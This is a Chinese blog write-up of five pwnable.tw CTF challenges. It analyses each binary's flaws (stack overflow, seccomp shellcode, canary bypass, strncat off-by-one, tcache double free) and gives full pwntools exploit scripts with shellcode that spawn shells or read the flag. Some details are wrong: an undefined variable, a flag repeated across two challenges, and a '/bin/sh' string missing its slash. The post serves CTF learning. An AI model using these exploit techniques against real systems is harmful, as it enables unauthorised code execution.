pwnable.tw writeup

原创

钞sir 于 2019-02-27 16:45:07 发布 3873 收藏 2

分类专栏： Pwn CTF

钞sir

本文链接：https://blog.csdn.net/qq_40827990/article/details/87979196

版权

Pwn 同时被 2 个专栏收录

28 篇文章 4 订阅

订阅专栏

CTF

22 篇文章 2 订阅

订阅专栏

start

这道题是静态编译的，或者可以理解是就是直接用汇编写的，所以这个程序很小，没有可以利用的函数；

```
sir@sir-PC:~/desktop$ objdump -R start

start:      文件格式 elf32-i386

objdump: start：不是动态对象
objdump: start: 无效的操作
```

反汇编代码：

```
sir@sir-PC:~/desktop$ objdump -d start -M intel

start:      文件格式 elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060: 54                    push   esp
 8048061: 68 9d 80 04 08        push   0x804809d
 8048066: 31 c0                 xor    eax,eax
 8048068: 31 db                 xor    ebx,ebx
 804806a: 31 c9                 xor    ecx,ecx
 804806c: 31 d2                 xor    edx,edx
 804806e: 68 43 54 46 3a        push   0x3a465443
 8048073: 68 74 68 65 20        push   0x20656874
 8048078: 68 61 72 74 20        push   0x20747261
 804807d: 68 73 20 73 74        push   0x74732073
 8048082: 68 4c 65 74 27        push   0x2774654c
 8048087: 89 e1                 mov    ecx,esp
 8048089: b2 14                 mov    dl,0x14
 804808b: b3 01                 mov    bl,0x1
 804808d: b0 04                 mov    al,0x4
 804808f: cd 80                 int    0x80
 8048091: 31 db                 xor    ebx,ebx
 8048093: b2 3c                 mov    dl,0x3c
 8048095: b0 03                 mov    al,0x3
 8048097: cd 80                 int    0x80
 8048099: 83 c4 14              add    esp,0x14
 804809c: c3                    ret

0804809d <_exit>:
 804809d: 5c                    pop    esp
 804809e: 31 c0                 xor    eax,eax
 80480a0: 40                    inc    eax
 80480a1: cd 80                 int    0x80
```

可以看到程序没有什么可用函数，都靠int 0x80来执行的；
所以这里有两个关键函数：

```
 8048087: 89 e1                 mov    ecx,esp
 8048089: b2 14                 mov    dl,0x14
 804808b: b3 01                 mov    bl,0x1
 804808d: b0 04                 mov    al,0x4
 804808f: cd 80                 int    0x80
```

这段汇编相当于printf函数，会把ecx的内容打印出来，可以用来泄露地址；

```
 8048091: 31 db                 xor    ebx,ebx
 8048093: b2 3c                 mov    dl,0x3c
 8048095: b0 03                 mov    al,0x3
 8048097: cd 80                 int    0x80
```

这段汇编代码，相当于gets()函数，会有溢出；
检查一下保护机制：

```
sir@sir-PC:~/desktop$ checksec start
[*] '/home/sir/desktop/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
```

思路

思路很简单,因为保护机制全关，所以我们可以直接将shellcode写入栈里面，然后返回到shellcode的地址，执行shellcode;所以关键点就是泄露出栈的地址，因为汇编中有mov ecx,esp，所以可以直接泄露esp的地址，即栈的地址；

EXP

```
from pwn import *
p = remote('chall.pwnable.tw',10000)
#p = process('./start')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
    gdb.attach(p)
put_addr = 0x8048087
payload = 'a'*20 + p32(put_addr)
p.recvuntil("Let's start the CTF:")
p.send(payload)
stark = u32(p.recv(4))
print "addr: " + hex(addr)
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload2 = 'a'*20 + p32(stark+0x14) + '\x90'*4 + shellcode
p.send(payload2)
p.interactive()
#FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}
```

orw

思路

这道题考察shellcode的编写，而且我们输入的内容会被直接当成代码来执行；

```
 8048571: 68 c8 00 00 00        push   0xc8
 8048576: 68 60 a0 04 08        push   0x804a060
 804857b: 6a 00                 push   0x0
 804857d: e8 ee fd ff ff        call   8048370 <read@plt>
 8048582: 83 c4 10              add    esp,0x10
 8048585: b8 60 a0 04 08        mov    eax,0x804a060
 804858a: ff d0                 call   eax
```

但是程序有一个orw_seccomp函数，里面有prctl函数，这里限制了我们只能使用open read write这三个程序本身自带函数；

```
080484cb <orw_seccomp>:
80484cb: 55                      push   ebp
80484cc: 89 e5                   mov    ebp,esp
80484ce: 57                      push   edi
80484cf: 56                      push   esi
80484d0: 53                      push   ebx
80484d1: 83 ec 7c                sub    esp,0x7c
80484d4: 65 a1 14 00 00 00       mov    eax,gs:0x14
80484da: 89 45 e4                mov    DWORD PTR [ebp-0x1c],eax
80484dd: 31 c0                   xor    eax,eax
80484df: 8d 45 84                lea    eax,[ebp-0x7c]
80484e2: bb 40 86 04 08          mov    ebx,0x8048640
80484e7: ba 18 00 00 00          mov    edx,0x18
80484ec: 89 c7                   mov    edi,eax
80484ee: 89 de                   mov    esi,ebx
80484f0: 89 d1                   mov    ecx,edx
80484f2: f3 a5                   rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
80484f4: 66 c7 85 7c ff ff ff    mov    WORD PTR [ebp-0x84],0xc
80484fb: 0c 00
80484fd: 8d 45 84                lea    eax,[ebp-0x7c]
8048500: 89 45 80                mov    DWORD PTR [ebp-0x80],eax
8048503: 83 ec 0c                sub    esp,0xc
8048506: 6a 00                   push   0x0
8048508: 6a 00                   push   0x0
804850a: 6a 00                   push   0x0
804850c: 6a 01                   push   0x1
804850e: 6a 26                   push   0x26
8048510: e8 9b fe ff ff          call   80483b0 <prctl@plt>
8048515: 83 c4 20                add    esp,0x20
8048518: 83 ec 04                sub    esp,0x4
804851b: 8d 85 7c ff ff ff       lea    eax,[ebp-0x84]
8048521: 50                      push   eax
8048522: 6a 02                   push   0x2
8048524: 6a 16                   push   0x16
8048526: e8 85 fe ff ff          call   80483b0 <prctl@plt>
804852b: 83 c4 10                add    esp,0x10
804852e: 90                      nop
804852f: 8b 45 e4                mov    eax,DWORD PTR [ebp-0x1c]
8048532: 65 33 05 14 00 00 00    xor    eax,DWORD PTR gs:0x14
8048539: 74 05                   je     8048540 <orw_seccomp+0x75>
804853b: e8 50 fe ff ff          call   8048390 <__stack_chk_fail@plt>
8048540: 8d 65 f4                lea    esp,[ebp-0xc]
8048543: 5b                      pop    ebx
8048544: 5e                      pop    esi
8048545: 5f                      pop    edi
8048546: 5d                      pop    ebp
8048547: c3                      ret
```

但是我们确实只需要open read write这三个函数就可以了,只是需要我们自己写;

```
open_shellcode = "xor ecx,ecx;xor edx,edx;mov eax,0x5;push 0x00006761;push 0x6c662f77;push 0x726f2f65;push 0x6d6f682f;mov ebx,esp;int 0x80;"
#打开文件
read_shellcode = "mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x40;int 0x80;"
#读取文件
write_shellcode = "mov eax,0x4;mov ebx,0x1;mov edx,0x40;int 0x80;"
#打印文件
```

EXP

```python
from pwn import *
p = remote('chall.pwnable.tw',10001)
#p = process('./orw')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
    gdb.attach(p)
open_shellcode = "xor ecx,ecx;xor edx,edx;mov eax,0x5;push 0x00006761;push 0x6c662f77;push 0x726f2f65;push 0x6d6f682f;mov ebx,esp;int 0x80;"

read_shellcode = "mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x40;int 0x80;"

write_shellcode = "mov eax,0x4;mov ebx,0x1;mov edx,0x40;int 0x80;"

shellcode = open_shellcode + read_shellcode + write_shellcode
payload = asm(shellcode)
p.recvuntil('Give my your shellcode:')
p.send(payload)
p.interactive()
#FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}
```

或者shellcraft构造shellcode

```python
from pwn import *
p = remote('chall.pwnable.tw',10001)
#p = process('./orw')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
    gdb.attach(p)

shellcode = ""
shellcode += shellcraft.i386.pushstr("/home/orw/flag")
shellcode += shellcraft.i386.linux.syscall("SYS_open", 'esp')
shellcode += shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30)
shellcode += shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30)

payload = asm(shellcode)
p.recvuntil('Give my your shellcode:')
p.send(payload)
p.interactive()
#FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}
```

dubblesort

思路

排序后的数字序列仍然保存在原先栈上开辟的这段空间内，只不过数值的顺序变了；所以由于待排序数组位于栈空间内，而当前栈空间的大小是有限的，这就可以导致栈溢出；输入“+”或者“-”就可以保持栈空间里数值边，即可以使溢出时canary不变，从而绕过函数最后的canary检查，实现栈上任意位置的写入

EXP

```
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './du'
#p = process(name)
p = remote("chall.pwnable.tw",10101)
elf= ELF(name)
libc = ELF('./bc.so.6')
if args.G:
    gdb.attach(p)

got_off = 0x1b0000
system_off = 0x3a940
bin_sh_off = 0x158e8b

p.recvuntil('What your name :')
p.sendline('a'*24)
got_addr = u32(p.recv()[30:34])-0xa
libc_addr = got_addr-got_off
system_addr = libc_addr + system_off
bin_sh_addr = libc_addr + bin_sh_off
p.sendline('35')
p.recv()
for i in range(24):
    p.sendline('0')
    p.recv()
p.sendline('+')
p.recv()
for i in range(9):
    p.sendline(str(system_addr))
    p.recv()
p.sendline(str(bin_sh_addr))
p.recv()
p.interactive()
#FLAG{tc4ch3_1s_34sy_f0r_y0u}
```

Silver Bullet

函数create_bullet：

```
int __cdecl create_bullet(char *s)
{
  size_t v2; // ST08_4

  if ( *s )
    return puts("You have been created the Bullet !");
  printf("Give me your description of bullet :");
  read_input(s, 0x30u);
  v2 = strlen(s);
  printf("Your power is : %u\n", v2);           // s的长度
  *((_DWORD *)s + 12) = v2;                     // +12指12个dword长度
  return puts("Good luck !!");
}
```

Power up函数：

```
int __cdecl power_up(char *dest)
{
  char s; // [esp+0h] [ebp-34h]
  size_t v3; // [esp+30h] [ebp-4h]

  v3 = 0;
  memset(&s, 0, 0x30u);
  if ( !*dest )
    return puts("You need create the bullet first !");
  if ( *((_DWORD *)dest + 12) > 0x2Fu )         // *(dest+12)指针指向的值 > 47
    return puts("You can't power up any more !");
  printf("Give me your another description of bullet :");
  read_input(&s, 48 - *((_DWORD *)dest + 12));  // 限制读入长度
  strncat(dest, &s, 48 - *((_DWORD *)dest + 12)); //使用strncat连接两字符串，会自动在结尾添加\x00
  v3 = strlen(&s) + *((_DWORD *)dest + 12);
  printf("Your new power is : %u\n", v3);
  *((_DWORD *)dest + 12) = v3;
  return puts("Enjoy it !");
}
```

思路

strncat函数将src字符串最多前n字节添加到dest字符串的末尾(从dest原来末尾的’\x00’开始), 并在添加结束后在末尾补上一个’\x00’；所以我们可以覆盖*((_DWORD *)dest + 12这个位置，然后溢出覆盖返回地址；
覆盖的返回地址会在beat函数返回时触发；

EXP

```
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './Silver Bullet'
#p = process(name)
p=remote('chall.pwnable.tw', 10103)
elf= ELF(name)
libc = ELF('./libc_32.so.6')
if args.G:
   gdb.attach(p)

def creat():
   p.recvuntil('Your choice :')
   p.sendline('1')
   p.recvuntil('Give me your description of bullet :')
   p.sendline('a'*47)

def power(data):
   p.recvuntil('Your choice :')
   p.sendline('2')
   p.recvuntil('Give me your another description of bullet :')
   p.sendline(data)

def beat():
   p.recvuntil('Your choice :')
   p.sendline('3')

creat();
power('b')
main = 0x8048954
pay1 = '\xff'*7 + p32(elf.plt['puts']) + p32(main) + p32(elf.got['read'])
power(pay1)
beat()
p.recvuntil('Oh ! You win !!\n')
read_addr = u32(p.recv(4))
libc_addr = read_addr - libc.symbols['read']
system_addr = libc_addr + libc.symbols['system']
bin_addr = libc_addr + next(libc.search('/bin/sh'))
success("libc_addr: " + hex(libc_addr))
success("system_addr: " + hex(system_addr))
success("bin_addr: " + hex(bin_addr))
creat();
power('b')
pay2 = '\xff'*7 + p32(system_addr) + p32(main) + p32(bin_addr)
power(pay2)
beat()
p.interactive()
#FLAG{uS1ng_S1lv3r_bu1l3t_7o_Pwn_th3_w0rld}
```

Tcache Tear

思路

有double_free漏洞，在利用的时候需要构造一个smallbin在name的位置上面，通过delete操作将libc的地址泄露出来，最后可以利用one_gadget来getshell;

EXP

```
from pwn import *
```

```
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './tcache_tear'
#p = process(name)
p=remote("chall.pwnable.tw",10207)
elf= ELF(name)
libc = ELF('./bc.so.6')
if args.G:
    gdb.attach(p)
#name:0x602060
#ptr:0x602088

def add(num,data):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Size:')
    p.sendline(str(num))
    p.recvuntil('Data:')
    p.sendline(data)

def delete():
    p.recvuntil('Your choice :')
    p.sendline('2')

def show():
    p.recvuntil('Your choice :')
    p.sendline('3')

p.recvuntil('Name:')
p.sendline('sir')

add(0x70,'a'*8)
delete()
delete()
add(0x70,p64(0x602550))
add(0x70,'bin/sh\x00')
pay1 = p64(0) + p64(0x21) + 'b'*8*2 + p64(0) + p64(0x21)
add(0x70,pay1)
#leak
add(0x60,'c'*8)
delete()
delete()
add(0x60,p64(0x602050))
add(0x60,'/bin/sh\x00')
pay2 = p64(0) + p64(0x501) + 'q'*8*5 + p64(0x602060)
add(0x60,pay2)
delete()
show()
p.recvuntil('Name :')
lib_addr = u64(p.recv(6) + '\x00\x00') - 0x3ebca0
free_hook_addr = lib_addr + 0x3ed8e8
one_gadget = lib_addr + 0x4f322 #0x4f2c5 0x10a38c
success("lib_addr: " + hex(lib_addr))
success("free_hook_addr: " + hex(free_hook_addr))
success("one_gadget: " + hex(one_gadget))

#getshell
add(0x40,'c'*8)
delete()
delete()
delete()
add(0x40,p64(free_hook_addr))
add(0x40,'/bin/sh\x00')
add(0x40,p64(one_gadget))
delete()
p.interactive()
#FLAG{tc4ch3_1s_34sy_f0r_y0u}
```